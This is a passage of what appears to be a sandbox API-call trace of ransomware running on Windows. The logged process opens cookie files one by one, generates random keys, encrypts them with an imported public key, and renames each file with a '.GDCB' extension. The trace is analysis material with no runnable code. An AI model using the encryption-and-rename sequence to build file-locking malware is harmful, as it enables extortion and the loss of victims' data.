lpNumberOfBytesRead=0x285d160*=0x76, lpOverlapped=0x0) returned 1 [0190.207] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.211] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MOE7DCQU.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\moe7dcqu.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MOE7DCQU.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\moe7dcqu.txt.gdcb")) returned 1 [0190.217] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.219] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.220] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.220] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.220] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.220] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0190.221] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.222] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.222] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.222] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.222] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.224] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037ed0) returned 1 [0190.224] CryptGetKeyParam (in: hKey=0x5037ed0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.224] CryptEncrypt (in: hKey=0x5037ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.224] GetLastError () returned 0x0 [0190.224] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.225] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0190.226] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037cd0) returned 1 [0190.226] CryptGetKeyParam (in: hKey=0x5037cd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.227] CryptEncrypt (in: hKey=0x5037cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.227] GetLastError () returned 0x0 [0190.227] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.227] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NEHE4KDB.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nehe4kdb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.229] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.230] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.231] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x72, lpOverlapped=0x0) returned 1 [0190.245] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.250] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NEHE4KDB.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nehe4kdb.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NEHE4KDB.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nehe4kdb.txt.gdcb")) returned 1 [0190.257] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0190.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.259] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.259] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0190.260] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.261] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.262] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.262] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.262] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.262] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.264] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037c10) returned 1 [0190.264] CryptGetKeyParam (in: hKey=0x5037c10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.264] CryptEncrypt (in: hKey=0x5037c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.265] GetLastError () returned 0x0 [0190.265] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.265] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.266] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037910) returned 1 [0190.267] CryptGetKeyParam (in: hKey=0x5037910, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.267] CryptEncrypt (in: hKey=0x5037910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.267] GetLastError () returned 0x0 [0190.267] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.267] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NOCAHPZ6.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nocahpz6.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.269] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.270] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.271] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x89, lpOverlapped=0x0) returned 1 [0190.279] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.283] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NOCAHPZ6.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nocahpz6.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NOCAHPZ6.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nocahpz6.txt.gdcb")) returned 1 [0190.288] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.290] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.291] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.291] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.291] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.291] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.292] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.292] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.292] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.292] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.293] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0190.295] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037990) returned 1 [0190.295] CryptGetKeyParam (in: hKey=0x5037990, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.295] CryptEncrypt (in: hKey=0x5037990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.295] GetLastError () returned 0x0 [0190.295] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0190.295] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.297] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037b50) returned 1 [0190.297] CryptGetKeyParam (in: hKey=0x5037b50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.297] CryptEncrypt (in: hKey=0x5037b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.297] GetLastError () returned 0x0 [0190.297] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.297] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NYCCG1AV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nyccg1av.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.299] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.300] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.301] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x640, lpOverlapped=0x0) returned 1 [0190.347] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.352] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NYCCG1AV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nyccg1av.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NYCCG1AV.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nyccg1av.txt.gdcb")) returned 1 [0190.356] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.359] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.359] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.359] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.359] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0190.360] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.361] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.361] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.361] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.364] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037950) returned 1 [0190.364] CryptGetKeyParam (in: hKey=0x5037950, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.364] CryptEncrypt (in: hKey=0x5037950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.364] GetLastError () returned 0x0 [0190.364] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.364] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0190.366] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037a10) returned 1 [0190.366] CryptGetKeyParam (in: hKey=0x5037a10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.366] CryptEncrypt (in: hKey=0x5037a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.366] GetLastError () returned 0x0 [0190.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.366] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\O8FFFI2K.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\o8fffi2k.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.368] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.369] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.370] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6e, lpOverlapped=0x0) returned 1 [0190.380] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.384] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\O8FFFI2K.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\o8fffi2k.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\O8FFFI2K.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\o8fffi2k.txt.gdcb")) returned 1 [0190.390] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0190.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.392] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.392] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.392] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.393] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.394] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.395] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.397] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50378d0) returned 1 [0190.397] CryptGetKeyParam (in: hKey=0x50378d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.397] CryptEncrypt (in: hKey=0x50378d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.397] GetLastError () returned 0x0 [0190.397] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.397] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.399] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037a50) returned 1 [0190.399] CryptGetKeyParam (in: hKey=0x5037a50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.399] CryptEncrypt (in: hKey=0x5037a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.399] GetLastError () returned 0x0 [0190.399] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.399] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\P778SMC9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\p778smc9.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.401] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.402] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.403] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x57, lpOverlapped=0x0) returned 1 [0190.412] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.416] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\P778SMC9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\p778smc9.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\P778SMC9.txt.GDCB" (normalized: "c:\\documents and 